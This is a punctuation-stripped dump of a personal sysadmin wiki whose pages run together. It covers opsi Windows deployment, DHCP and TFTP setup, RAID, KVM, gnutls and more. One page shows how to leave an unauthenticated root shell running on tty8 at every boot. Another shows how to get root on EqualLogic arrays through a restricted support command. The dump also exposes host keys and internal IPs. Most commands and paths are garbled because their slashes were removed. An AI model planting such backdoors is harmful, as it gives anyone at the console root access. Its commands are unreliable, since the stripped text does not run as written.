driver folder anywhere you like under the 1 folder and you may add as many driver folders as you like the install pl script will automatically scan for all driver folders and offer to add them to the oempnpdriverspath setting in the unattend txt file for you we might integrate something like this in opsi and have it add these paths to unattend txt as stated in the above note the above is not from opsi but from another project key management key management key management to set the key for a specific client in the gui select the client then netboot product tab where you can change the product key field in the product switches panel lower right hand corner the default key for each os can be read and set using opsi # opsi-admin -d method getproductproperties_hash win2003 productkey xxxxx-xxxxx-xxxxx-xxxxx-xxxxx additional_drivers i386_dir i386 askbeforeinst true orgname orgname fullname name store_i386 false to set opsi-admin -d method setproductproperty win2003 productkey abcde-fghij-klmno-qrtuv-wxyz1 software distribution software distribution software distribution please see the official manual for details you can create your own scripts to install products with and this is shown in the documentation see the example for installing tightvnc in section 6 2 1 7 there is a template provided opsi-template ins for easily creating your own product installs to use existing opsi packages from the official download site wget them into home opsiproducts and install with opsi-package-manager -i betz-firefox_3 0 0 4-1 opsi you may then choose the client and package to install in the gui product will be installed on next reboot on demand installs to install a package in real time without a reboot use usr share opsi opsi-fire-event py hostname domain tld on_demand integrating existing clients note that you can install the prelogin loader on an existing os by mounting the smb share in windows connect to opsi server ip authenticate as adminuser and execute opt_pcbin install preloginloader service_setup cmd the prelogin loader will already be installed if you installed the os via opsi this is the facility which allows packages to be installed onto clients through opsi this starts the opsiclied service at boot time unattended txt unattended txt unattended txt inside the i386 folder you will find an unattended txt file you can designate various install time configs here hey - kickstart for windows well not that good but still - see the above link for options and syntax it is possible we might make this file dynamically generated so the config options can be specified through opsi or a simple web interface or parser script like ks esnet com etc importing the i386 folder importing the i386 folder importing the i386 folder there are already opsi packages installed for most variants of windows you then copy over the i386 folder change permissions integrate the drivers and it is ready to then be installed something like cd opt pcbin install winxppro cp -rpva media cdrom i386 chmod -r ug rw i386 chown -r opsiconfd pcpatch i386 opsi opt pcbin install winxppro# chmod -r ug rw drivers opsi opt pcbin install winxppro# chown -r opsiconfd pcpatch drivers now integrate the drivers just pointing the script to the 7z files in the 2003 directory which will extract them into the local drivers location chown opsiconfd pcpatch win2003 dp_ su pcpatch extract_driver_pack py opt pcbin install win2003 create_driver_links py du -sh drivers your local driver directory should now be ready to go if you have trouble you can delete drivers and start over when run create_driver_links py in an directory with only the extracted drivers it will actually create the pciids and other directories and download new id files etc permissions are almost always the reason behind drivers not being detected for a client server setup info server setup info server setup info pckeys pckeys pckeys i had to manually create a key for the server in etc opsi pckeys as it was never created and other commands would error out due to this opsi esnet com ea52d6c8d5b1520eb1cced8ba1c8c009 opsi-test esnet com af088b048e3c977e8973041950ad99e0 dhcp dhcp dhcp vim etc dhcp3 dhcpd conf # option definitions common to all supported networks option domain-name esnet com ; option domain-name-servers ns1 esnet com ns2 esnet com; # no service will be given on this subnet but declaring it helps the # dhcp server to understand the network topology subnet 10 100 10 0 netmask 255 255 255 0 # this is a very basic subnet declaration subnet 192 168 1 0 netmask 255 255 255 0 range 192 168 1 2 192 168 1 254; option routers 192 168 1 1; next-server 192 168 1 1; server-name 127 0 0 1 ; filename linux pxelinux 0 ; tftpd tftpd tftpd tftp port 69 is controlled by the opsi-atftpd package with the config file in etc init d opsi-atftpd path usr local sbin usr local bin sbin bin usr sbin usr bin daemon usr sbin atftpd name atftpd desc advanced trivial ftp server use_inetd true #use_inetd false options pxe menu pxe menu pxe menu the pxe menu is dynamically configured by opsi to boot the client to the requested environment memtest hwinventory os install et c using symlinks in the pxelinux cfg directory to manually get a pxe boot menu for a client change the symlink so it points to default menu instead of default nomenu etc opsi tftpboot linux pxelinux cfg# ln -s default menu default you can change lang en for english for the pxe client in default menu too troubleshooting troubleshooting troubleshooting config info select help backend config from the configuration editor gui for a list of config settings smb mount error are you getting this error when the client pxe boots cannot mount command failed 65280 mount error 13 permission denied refer to the mount cifs 8 manual page eg man mount cifs config info if so set the pw for pcpatch opsi-admin -d task setpcpatchpassword logging logging logging the client install logs to the following location but only when it exits # tail -f var log opsi bootimage test esnet com log there is also an opsiconfd directory where messages are logged by the system '),(309,'technical article index',' this wiki contains a number of articles written for a variety of purposes and audiences some are complete instructional or reference articles others are outlines of future articles for publication and some are simply rough notes and my personal note book below is an index of several articles highlighting examples of technical writing or documentation articles i commonly document all manner of processes and research which occur in the day to day functions of my position and these intended to be demonstrative for those interested in such samples technical documentation examples normally written for noc staff tier i ii engineers end users etc as such an informal rather than academic style is typically used to engage the intended reader more high server loads and you ipmi configuration and monitoring ipmi console access smart drive diagnostics smart rewriting bad sectors ocsng inventory management informal how to articles nvidia cuda rpm install timeline report lustre distributed file system linux hardware repair - a class informational articles opensolaris crafty chess compiler benchmarks '),(310,'update alternatives',' how tos here are a couple sites with info on using and configuring update-alternatives for various apps java there are several handy ways to update alternative for java versions default mail server and other things here is a list of some useful ones update-alternatives --config java set your default browser ubuntu sudo update-alternatives --config x-www-browser '),(311,'smart database',' acknowledgment thanks to dan thomas a friend of mine and fellow student at spc who created this php based web interface and database for the smarttest script we are using this with his permission his intention is to make a collaborative open source project out of this which people could contribute test results to creating a huge database which trending information could be generated from etc smarttest database smarttest database smarttest database when you run smarttest sh in addition to reporting the results on screen it also sends the output to a database on ks esnet com this database contains all the tests which have been run it has several uses allowing you to see the entire test history for a drive by serial number see what drives have recently been tested determine a drives performance characteristics over its life cycle help show which models and sizes are more prone to failure have better performance etc helps ensure the correct results label is put onto the right drive additionally you can easily copy the results of a test which was just completed and simply paste it into a label printing application which greatly speeds up making labels for example here is the formatted output for one result smart test 07 13 10 wd-wcanm8241026 size 164 gb hours 1191 errors 0 reallocated pending 0 0 speed 61mb s pe web interface web interface web interface old sago one you can pass how many results to return by using the links or simply changing the number value in the url technical stuff technical stuff technical stuff the smarttest sh bash script relies on the hdparm smartctrl and lynx binaries being on the system which is the case with rip linux and system rescue cd live environments if testing a generic centos or debian box you may need to install respective packages for these you will find all of the files for this in var www html smart on the cobbler server 208 38 164 4 once completed the results are passed to import php on smart esnet com which accepts posted variables parses them and inserts the information into the database named harddrive there are a few versions of the import php script it was previously called from cron and parsed files which were ftp\'ed or scp\'ed to the server it was later rewritten to simply use posted variables although simpler this also permits direct data input into the database '),(312,'diving sites and operators',' diving operators florida a great restaurant in marathon south carolina tennessee diving equipment diving equipment diving equipment '),(313,'linux raid management',' reference sites reference sites reference sites a couple of good general raid management sites troubleshooting troubleshooting troubleshooting are you getting an error saying the dive you are trying to add does not have enough space such as fooweb # mdadm dev md0 -a dev sdb1 mdadm dev sdb1 not large enough to join array of course you have to ensure the drive is in fact equal too or greater in size - not all 500gb drives are the same so use hdparm and compare the chs and addressable sectors values of both drives sudo hdparm -i dev sdb if you are still getting the above error it may be that different versions of mdadm were used to create the raid originally in which case it may now be trying to reserve more space for the bitmap man md for more info you may need to specify a flag such as --metadata 0 90 see this post lastly double check and make absolutely certain you are trying to add the correct partition to the correct dev mdx array are you trying to accidentally add a small boot to the array for example check what block devices the array is using with mdadm --detail dev md0 is the partition of the block device you are adding the same at that used by other members in the array already misc mdadm commands misc mdadm commands misc mdadm commands don\'t blindly run these - they are just examples mdadm --assemble dev md0 dev sdc1 dev sdd1 dev sde1 dev sdf1 dev sdg1 dev sdh1 dev sdi dev sdj1 dev sdk1 dev sdl1 dev sdm1 dev sdo1 mdadm --assemble --update summaries dev md0 dev sda1 dev sdb1 dev sdc1 dev sdd1 mdadm -e dev sda1 mdadm --zero-superblock dev sdj1 mdadm --assemble dev md1 dev hdb5 dev sda3 then add --force and --run as needed ;o mdadm --detail --scan etc mdadm conf good sites good sites good sites '),(314,'kelby jmx zip',' jmeter config for kelby cluster '),(315,'jmeterrendered',' '),(316,'house hunting',' knoxville knoxville knoxville links to potential homes house hunting sites house hunting sites house hunting sites '),(317,'openmp parallel programming',' tutorials & forums excellent resources and intro tutorials on mpi and parallel computing can be found at the lawrence livermore national lab site books books books using openmp portable shared memory parallel programming isbn-13 978-0262533027 sample chapters for the above are available online here parallel programming with mpi paperback peter pacheco author isbn-13 978-1558603394 '),(318,'lisi e8 theory',' blog post about e8 and making a flash simulator flash e8 simulator more on lisi and e8 theory '),(319,'alt-f8 console hacks',' in a secure environment having fast access to servers can be a good thing it allows very very fast support without having to wait for credentials etc yes some could argue how very disconcerting this is - but consider the fact that this assumes you already have physical access to the server in which case all other bets are already off so how do you set up instant root well it depends on your flavor of nix but here are a few ideas red hat centos red hat centos red hat centos super simple just add this line to etc rc local usr bin openvt -c 8 bin bash this opens a virtual terminal and assigns it as tty8 now when you hit ctlr-f8 you get a root shell done debian ubuntu debian ubuntu debian ubuntu debian debian\'s rc local is not the same as red hats for debian systems create a cusotmer script and assign the run levels it is active in by cd etc init d vim rc custom this should contain # bin bash usr bin openvt -c 8 bin bash chmod x rc custom update-rc d rc custom defaults etc init d rc custom start ps aux grep bash will show something like the below indicating bash is running on tty8 opensuse opensuse opensuse freebsd opensolaris opensolaris opensolaris '),(320,'selinux',' a decent intro tutorial can be found here an alternative is grsecurity '),(321,'network traffic capture',' wireshark of course but also these are handy tools capturing post submitted data '),(322,'vpnc client',' browser traffic once connected your default route is set to the vpn interface tun0 ppp0 etc and all traffic is thus sent to it in order to direct only internal traffic to the vpn and all other traffic outside you need to reset your default gateway and define static routes for internal traffic such as netstat -r route add default gw 192 168 1 1 netstat -r ping 10 100 11 10 route add -net 10 100 0 0 netmask 255 255 0 0 dev ppp0 ping 10 100 11 10 these can be set in the vpnc configuration under routes choose keep not replace existing default route and add any static routes needed more info on configuring vpnc can be found at the excellent gentoo wiki which also has some info on splitting up dns requests for internal vs external traffic '),(323,'cuda applications',' here are some fun applications which take advantage of parallel processing using nvidia nvidia\'s cuda architecture distributed computing distributed computing distributed computing gpugrid gpugrid net is a novel distributed supercomputing infrastructure made of many nvidia graphics cards joined together to deliver high-performance all-atom biomolecular simulations seti the classic distributed computing app for cuda collatz conjecture distributed mathematics security hacking security hacking security hacking pyrit wpa wpa2-psk and a world of affordable many-core platforms rainbox crack rainbowcrack is a general propose implementation of philippe oechslin oechslin\'s faster time-memory trade-off technique it cracks hashes with rainbow tables amazon gpu instances using amazon amazon\'s ec2 gpu instances to crack sha1 hashes is described here applied research applied research applied research an interesting paper titled accelerating reed-solomon coding in raid systems with gpusu8e2809d by matthew curry lee ward tony skjellum and ron brightwell ipdps 2008 is described in this post '),(324,'smartd drive monitoring',' smartd drive health monitoring see man smartd for full details to add a test email add -m test here is an example of a custom test # dev sdd -d sat -s on -o on -a -i 194 -s l 01 15 10 -m test -m noc esnet com # pete pete\'s test enable offline tests monitor error and selfttest and all attributes except temp run a # long offline test on the 1st and 15th of each month at 10am and email results add -m test and run # smartd -q showtests to see scheduled test dev sdb -d sat -s on -o on -l error -l selftest -t -i 194 -i 9 -s l 01 15 10 -m blah yack com to show what tests are scheduled in etc smartd conf run #smartd -q showtests next scheduled self tests at most 5 of each type per device device dev sdb will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sdc will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sdd will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sde will do test 1 of type l at sun aug 15 10 20 28 2010 edt mdadm monitoring mdadm monitoring mdadm monitoring to also monitor the health of a software raid you can use mdadm mdadm\'s monitor facility to test it root obm # mdadm --monitor --scan --mail blah yack com dev md0 -t -1 set up a cron job root obm # crontab -l 15 sbin mdadm --monitor --scan --mail blah yack com dev md0 -1 '),(325,'ti ez430 chronos',' '),(326,'linux on 64 bit architectures',' how to install different architecture binaries on linux '),(327,'cultural anthropology',' garbage project fascinating project which has produced interesting findings by studying landfill refuse here is an interesting ny times book review of we are what we throw away which discussed the project further other anthropological garbage sites literacy levels literacy levels literacy levels readability analyzers command line tools style and diction openoffice plugin '),(328,'virt-manager tips',' virt-manager to launch virt-manger locally and initiate a connection to a remote system system\'s hypervisor use paracelsus callandor virt-manager -c qemu ssh user host com 22 system virt-viewer -c qemu ssh user 192 168 1 11 system guestvm note that you will need ssh-askpass installed to properly authenticate you can also run virt-manager and connect configure a new connection using ssh from the gui like this note you will need to copy iso images to var lib libvirt images on the remote server in order to locate them in gui when creating a new vm - see this bug also see note general kvm virtualization documentation is found here virt-manager x forwarding virt-manager x forwarding virt-manager x forwarding note a great resource in general for troubleshooting xforwarding issues can be found here an odd issue comes up when you attempt to x forward virt-manager to some clients virt-manager will start but will not forward to the remote display all other apps will forward and display fine there are no issues with display etc this issue is commonly reported to be resolved by stating the full path to virt-manager - but this was not the problem in this case i described this issue in this post running ssh -v and then launching virt-manager showed debug1 confirm x11 x11 connection rejected because of wrong authentication debug1 channel 2 free x11 nchannels 3 the application \'virt-manager py\' lost its connection to the display localhost 12 0; most likely the x server was shut down or you killed destroyed the application that lead me to this post which had a solution and a good explanation as well so what worked was directing to my own xauthority when sudoing like xauthority xauthority sudo virt-manager i\'ll quote the explanation here as i found it useful miloslav trmau8c48d 2007-05-16 07 23 35 edt this happens because ssh uses the default xauthority file and does not set xauthority so libxau uses home xauthority sudo changes the uid but not home so the original home xauthority is still used then userhelper or su - use the pam_xauth module pam_xauth does not use home xauthority but invoking user user\'s home directory xauthority i e root xauthority which does not exist so pam_xauth should be using home xauthority if xauthority is not set and home xauthority is readable by the invoking user you can use xauthority xauthority sudo virt-manager as a work-around note this does not explain really why this is necessary when connecting from a suse 11 3 box but the same does not occur when connecting from a rhel 5 or fedora box since this issue is apparently related to which xauthority is being used on the server side you would think it would apply to all clients connecting however in practice that is not the case iptables iptables iptables guests may not be able to resolve dns or use dhcp unless iptables is configured on the host for example here tcpdump on a guest os shows admin prohibited messages when trying to host a domain in addition to this dhcp requests just timed out #host google com tcpdump 09 53 03 770391 ip 128 219 248 24 ciscocsdb 160 91 1 32 domain 7384 a google com 28 09 53 03 770491 ip 128 219 248 27 128 219 248 24 icmp host 160 91 1 32 unreachable - admin prohibited length 64 i found the solution in this post which was to add an iptables rule to the forward chain to accept traffic on the virtual interface my iptables then contained -a input -j rh-firewall-1-input -a forward -m physdev --physdev-in vnet0 -j accept -a forward -j rh-firewall-1-input -a rh-firewall-1-input -i lo -j accept you can also look at editing your etc xen scripts vif-common sh to have this done automatically also see that notes here under \'virtual network\' kvm and networking kvm and networking kvm and networking to get dhcp and dns working correctly through the host i followed the bridged networking section of this guide also these are while this one on is for xen it is also still interesting xml guest config files xml guest config files xml guest config files these are located at etc libvirt qemu the format and options of which are defined here kvm command line kvm command line kvm command line managing kvm guests managing kvm guests managing kvm guests debugging libvirt issues debugging libvirt issues debugging libvirt issues here are some very helpful sites logging quick answer from links above echo -e log_level 1 nlog_outputs 1 file var log libvirt libvirtd log etc libvirt libvirtd conf && service libvirtd restart see info in etc libvirt libvirtd conf and the links for full details '),(329,'distributed file systems',' luster luster luster hpss from the official site hpss is software that manages petabytes of data on disk and robotic tape libraries hpss provides highly flexible and scalable hierarchical storage management that keeps recently used data on disk and less recently used data on tape hpss uses cluster lan and or san technology to aggregate the capacity and performance of many computers disks and tape drives into a single virtual file system of exceptional size and versatility this approach enables hpss to easily meet otherwise unachievable demands of total storage capacity file sizes data rates and number of objects stored '),(330,'equallogic storage arrays',' documentation pretty good guide here getting root getting root getting root i discovered the below trick from here and here how to get more detailed information out from behind the magic curtain of the equal logic storage arrays 1 telnet ssh into the device using the grpadmin user and pw 2 from the management cli prompt run su exec bash 3 you are now root 4 there are various tools in bin and sbin such as cachetool very cool and multiple disk utilities such as diskcheck disktool diskview etc they all have u8e28093h help pages you can get smart information on the drives check for bad blocks view error counts etc examples of a few commands with select output follow we could easily script various checks to be run to monitor key smart attributes ourselves etc unfortunately certain other binaries hdparm bonnie etc are not installed though we might be able to port them over from another netbsd system compile them statically etc note the cachetool command provides extensive output on various cache and performance counters and tunables and has several options daac su exec bash you are running a support command which is normally restricted to ps series technical support personnel do not use a support command without instruction from technical support cli-child-3 2# diskview -a 0 the drive has had 38900844 ios issued to it and 0 errors access based on percent region of the drive below 0 - 25 27 6 10735136 percent count no errors 25 - 50 24 7 9608585 percent count no errors 50 - 75 24 7 9612780 percent count no errors 75 - 100 23 0 8944343 percent count no errors cli-child-3 2# diskview -i 0 cli-child-3 2# diskview -b 47 attr id 0x05 5 reallocated_sector_count status 0x0033 pre_failure_advisory on_line_collection event_count self_preserving value 100 worst 100 raw 0x000000000000 attr id 0xc5 197 pending_defects status 0x0012 on_line_collection event_count value 100 worst 100 raw 0x000000000000 cli-child-3 2# diskcheck -d 47 diskcheck - started 09 29 2010 11 29 15 diskcheck - passive scan will be disabled while diskcheck is operating '),(331,'drive performance results',' acer aspire one acer aspire one crappy intel ssd - ssdpamm0008g1 dmesg scsi 1 0 0 0 direct-access ata ssdpamm0008g1 ver2 pq 0 ansi 5 sd 1 0 0 0 sda 15761088 512-byte hardware sectors 8070 mb lspci 00 1f 2 ide interface intel 82801gbm ghm ich7 family sata ide controller rev 02 bonnie results version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 1g 3865 83 6913 4 5677 5 3806 81 36520 17 1260 8 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 964 84 31290 74 999 81 3944 88 localhost 1g 3865 83 6913 4 5677 5 3806 81 36520 17 1260 4 8 16 964 84 31290 74 999 81 3944 88 hdparm test on same root localhost # hdparm -tt dev sda dev sda timing cached reads 622 mb in 2 00 seconds 310 90 mb sec timing buffered disk reads 108 mb in 3 01 seconds 35 91 mb sec ssd and sdhc benchmarks ssd and sdhc benchmarks ssd and sdhc benchmarks benchmarks were run for the below device types hdparm tests are first followed by bonnie results ocz technology 2gb 150x sd card oczsd150-2gb ultra brand 2gb sd card ult40251 91007258f-2gb-ch mmcblk0 - ocz technologies 2gb 150x sdhc right reader mmcblk1 - ultra brand name 2gb sdhc left reader sda internal ssd sdb - 1gb usb stick usb hdparm results for above devices root localhost # hdparm -tt dev mmcblk0 dev mmcblk0 timing cached reads 1228 mb in 2 00 seconds 614 50 mb sec timing buffered disk reads 32 mb in 3 09 seconds 10 36 mb sec root localhost # hdparm -tt dev mmcblk1 dev mmcblk1 timing cached reads 1230 mb in 2 00 seconds 615 42 mb sec timing buffered disk reads 32 mb in 3 17 seconds 10 10 mb sec root localhost # hdparm -tt dev sda dev sda timing cached reads 1228 mb in 2 00 seconds 614 14 mb sec timing buffered disk reads 104 mb in 3 02 seconds 34 46 mb sec root localhost # hdparm -tt dev sdb dev sdb timing cached reads 1240 mb in 2 00 seconds 620 08 mb sec timing buffered disk reads 74 mb in 3 04 seconds 24 35 mb sec bonnie results for each of the above devices below ocz technologies 2gb 150x sdhc root localhost # bonnie -u 0 -r 100 -d media disk version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 8895 90 10014 7 4218 4 6466 67 10536 3 2456 11 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 46 97 114 50 581 96 78 97 117 97 192 97 localhost 300m 8895 90 10014 7 4218 4 6466 67 10536 3 2456 4 11 16 46 97 114 50 581 96 78 97 117 97 192 97 ultra 2gb sdhc root localhost # bonnie -u 0 -r 100 -d media disk-1 version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 6172 64 6866 5 3347 3 6194 64 10222 4 2422 10 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 46 97 113 97 584 97 76 97 115 97 189 97 localhost 300m 6172 64 6866 5 3347 3 6194 64 10222 4 2421 8 10 16 46 97 113 97 584 97 76 97 115 97 189 97 internal ssd version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 9725 96 13982 6 6520 5 7192 71 21220 8 4024 20 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 2607 97 2870 95 9465 94 localhost 300m 9725 96 13982 6 6520 5 7192 71 21220 8 4023 6 20 16 2607 97 2870 95 9465 94 version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 656 7 618 0 353 0 8496 80 25164 10 2848 16 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 45 97 109 94 532 95 73 96 112 96 184 96 localhost 300m 656 7 618 0 353 0 8496 80 25164 10 2847 8 16 16 45 97 109 94 532 95 73 96 112 96 184 96 device identification device identification device identification misc info on how the hardware is identified etc root localhost # ls -lha dev disk by-id total 0 drwxr-xr-x 2 root root 280 2008-11-05 17 57 drwxr-xr-x 6 user root 120 2008-11-05 17 41 lrwxrwxrwx 1 root root 9 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr - sda lrwxrwxrwx 1 root root 10 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr-part1 - sda1 lrwxrwxrwx 1 root root 10 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr-part2 - sda2 lrwxrwxrwx 1 root root 13 2008-11-05 17 41 mmc-sd02g_0xae43de1e - mmcblk1 lrwxrwxrwx 1 root root 15 2008-11-05 17 41 mmc-sd02g_0xae43de1e-part1 - mmcblk1p1 lrwxrwxrwx 1 root root 13 2008-11-05 17 42 mmc-sd02g_0xb000fef0 - mmcblk0 lrwxrwxrwx 1 root root 15 2008-11-05 17 42 mmc-sd02g_0xb000fef0-part1 - mmcblk0p1 lrwxrwxrwx 1 root root 9 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr - sda lrwxrwxrwx 1 root root 10 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr-part1 - sda1 lrwxrwxrwx 1 root root 10 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr-part2 - sda2 lrwxrwxrwx 1 root root 9 2008-11-05 17 57 usb-sandisk_cruzer_0572930c9fc29a16-0 0 - sdb lrwxrwxrwx 1 root root 10 2008-11-05 17 57 usb-sandisk_cruzer_0572930c9fc29a16-0 0-part1 - sdb1 '),(339,'core wars',' intro from the core wars faq core war is a game played by two or more programs and vicariously by their authors written in an assembly language called redcode and run in a virtual computer called mars for memory array redcode simulator the object of the game is to cause all processes of the opposing program to terminate leaving your program in sole posession of the machine get core war get core war get core war pmars use this wget wget or source and some binary packages here but are pretty old and 32 bit only running 64 bit if you try to compile the source and get the message glib 1 2 0 not installed - cannot build gui client without it despite having glib2-devel installed it seems to be looking for the glib-config script which was replaced in later glib versions with pkg-config as described here you might be able to use the 32 bit dev package as described here though i\'ve not tried it using debian ubuntu you can download the source and build it on 32 bit ubuntu 10 04 i had no trouble with \'cd src\' and then just \'make\' which resulted in the pmars binary being correctly built it may fail on 64 bit as described above you can then do a sample run with two warriors like mieren mieren-ubuntu pmars-0 9 2 src pmars warriors aeka red warriors rave red the default option in the makefile built in x11 support automatically i believe there is an ncurses option too you can also use alien to make a deb from the rpm and just install that running windows really windows well - okay let let\'s talk at the next meeting okay but if you must you can likely find some windows binaries here sample run sample run sample run sample run using two provided warriors pae callandor pmars -r 3 usr share doc pmars-0 9 2 warriors aeka red usr share doc pmars-0 9 2 warriors rave red documentation documentation documentation start with corewar-faq html in the doc directory if installed from source or usr share doc pmars-0 9 2 doc corewar-faq html if from rpm then move on to this beginners guide and other guides found here additional documentation can be found here competition competition competition various competitions can be held such as this king of the hill one here other simulators other simulators other simulators nmars looks interesting but needs net mono '),(340,'openoffice tools and tips',' openoffice is a great open source office suite i constantly recommend it to people as a substitute to commercial products sometimes new users need help getting started with it though and i\'ve also come across various plugins and tips in using it which others may find helpful tutorials tutorials tutorials plan b for openoffice has some great video tutorials for beginners mendeley mendeley mendeley there is an open office plugin for mendeley desktop which makes inserting citations from papers in you mendely collection an utter dream you can learn more about this plug in and mendely here readability readability readability readability analyser is a plug in which will perform a readability scoring analysis of selected text and return flesch-kincaid and fog readability scores as well as other information to install unzip and open the readability_installer sxc file in openoffice enable macro execution if prompted i had to install it as an addon item for the installer to work after which it shows up in tools -- add-ons -- readability readability report is an extension which also does scoring this require java extensions for open office when i first tried to install it i got the error com sun star uno runtimeexception message jni_unobridge error in my case i had to go to menu - tools - options - java and actually check the detected java runtime environment similar to this post turns out it is not enabled by default who knew per the site once the extension is installed a tool bar will appear with 4 buttons for \'readability report\' \'brain overload report\' \'cohesion report\' and \'detailed report\' if it is not there select view from the menu bar then toolbars and \'add-on 1\' version 2 requires around 1gb of memory if you don\'t have that try the earlier version which doesn\'t include the brain overload and coherence reports and is run by selecting \'readability\' from the menu bar note the command line tool \'style\' also give flesch scores and a host of other information - though it only works on ascii files \'diction\' is another interesting command line tool for writing analysis note2 these tools return slightly different scores when run against the same material it appears that may be due to both slightly different score models and terminology being used as well as variation in the algorithms applied formatting layout etc formatting layout etc formatting layout etc this site has some basic information on paragraph spacing this linux journal article on page layout and spacing is pretty good '),(341,'assembly programming',' documentation a specific linux version of the book the art of assembly language programming is available for download here this article has a good description of at&t vs intel assembly syntax and an intro guide to using syscalls and inline asm in gcc tutorials tutorials tutorials the site has links to a lot of additional documentation and tutorials compiling with gcc compiling with gcc compiling with gcc did you know you can compile your c c into asm and view the results it is very easy for example comes from here gcc -s -c foo c will produce foo s if you want to see the c code together with the assembly it was converted to use a command line like this gcc -c -g -wa -a -ad other gcc options foo c foo lst projects projects projects though it is not true assembly you might want to check out core wars a game based on creating warrior bots in redcode a pseudo-assembly language '),(342,'interesting exploits',' find out find out find out here are some handy sites to research cves am i patched am i patched am i patched find our if a package has been patched against a particular cve by using rpm and looking at the changelog as described here cve-2010-3301 rhel 64 bit ia32 syscall cve-2010-3301 rhel 64 bit ia32 syscall cve-2010-3301 rhel 64 bit ia32 syscall very interesting 64-bit exploit which was backported quite a ways cve-2010-2959 linux kernel controller area network integer overflow cve-2010-2959 linux kernel controller area network integer overflow cve-2010-2959 linux kernel controller area network integer overflow ubuntu 10 04 32-bit was the target here rhel was not affected as their kernel lacked support for broadcast manager bcm protocol '),(343,'postgre sql database',' here is a good quick start guide though not limited to postgre this is an interesting site on using phps pdo functions sample connection sample connection sample connection php try db new pdo pgsql dbname mydatabase;host localhost user password ; echo pdo connection object created ; catch pdoexception e echo e- getmessage ; '),(344,'drupal',' config files sites default settings php databases databases databases postgre sql postgre sql postgre sql see this site for an example the pg_hba conf file in postgres controls access with the enterprisedb version it is typically located someplace like opt postgresplus 8 4ss data pg_hba conf an example pg_hba conf file would be # type database user cidr-address method # local is for unix domain socket connections only local all all trust # ipv4 local connections host all all 160 91 28 0 24 md5 # ipv6 local connections host all all 1 128 md5 '),(345,'kde plasmoids',' plasmoid tips plasmoid tips plasmoid tips plasmoids can be installed as packages further you can run them in plasmoid-viewer to help debug the see this post for more info development development development here is a guide to getting started with kde plasmoid development '),(346,'gnutls configuration',' intro gnutls allows you to host multiple ssl sites on one ip address each site can have it it\'s own certificate or you can just share one wildcard cert between them all who cares because sometimes you don\'t have free ips to burn and this lets you conserve them however there are a few tricks to it guides guides guides if you are not already with hoe regular ssl is configured in apache you might want to start here a really good guide to setting up mod_gnutls can be found here getting mod_gnutls getting mod_gnutls getting mod_gnutls i found the only binary for rhel 5 i could find was from however it was quite old and i had to build both gnutls and mod_gnutls from source but there were a few tricky points building gnutls building gnutls building gnutls after building make sure you add the following line to etc ld so conf or building mod_gnutls will fail usr local lib to etc ld so conf and of course update with ldconfig building mod_gnutls building mod_gnutls building mod_gnutls libgnutls header file version 2 10 0 does not match library version 1 4 1 configure error point it to the libraries for the version of gnutls installed about by exporting the following path assuming your gnutls are in usr local lib pkgconfig root edss-collab mod_gnutls-0 5 9 # export pkg_config_path usr local lib pkgconfig pkg_config_path thanks to this post for that tip next we have checking for libgnutls - version 2 10 0 no could not run libgnutls test program checking why the test program compiled but did not run this usually means that the run-time linker is not finding libgnutls or finding the wrong version of libgnutls if it is not finding libgnutls you\'ll need to set your ld_library_path environment variable or edit etc ld so conf to point to the installed location also make sure you have run ldconfig if that is required on your system and if you get this one make sure you added the path to your ld so conf as above after you have run make and successfully compiled you might want to use checkinstall to create a rpm however i had trouble with the resultant rpm it would not install giving errors about selinux paths that can be avoided using the great tip i found here with checkinstall -r --exclude selinux selinux context version check version check version check root edss-collab conf d # gnutls-cli -v gnutls-cli gnutls 2 10 0 root edss-collab modules # ldd etc httpd modules mod_gnutls so what did you link against libgnutls-config this is actually part of gnutls-devel-1 4 1-3 el5_4 8 you likely did not build it vhost config vhost config vhost config browser issues certificate issues certificate issues certificate issues ca signed certs '),(347,'subversion password management',' when connecting to a subversion repository using the command line the svn client will ask if you want to store your password unencrypted on disk this of course is a bad idea this article shows you how to tell if you have unencrypted subversion passwords stored on your machine and also how to set up a secure method of storing them if you are using gnome or kde subversion 1 6 implements several security improvements including integrating the use of encryption key rings and other features as is discussed here password storing prompt password storing prompt password storing prompt unless users have configured their subversion config to never store passwords they are presented with the following message for each subversion session note subversion 1 4 on red hat 5 5 by default does not ask this and the users password is stored in plain text without their knowledge you must configure your subversion client to not store passwords locally ----------------------------------------------------------------------- attention your password for authentication realm usanpn subversion and trac repositories at ornl can only be stored to disk unencrypted you are advised to configure your system so that subversion can store passwords encrypted if possible see the documentation for details you can avoid future appearances of this warning by 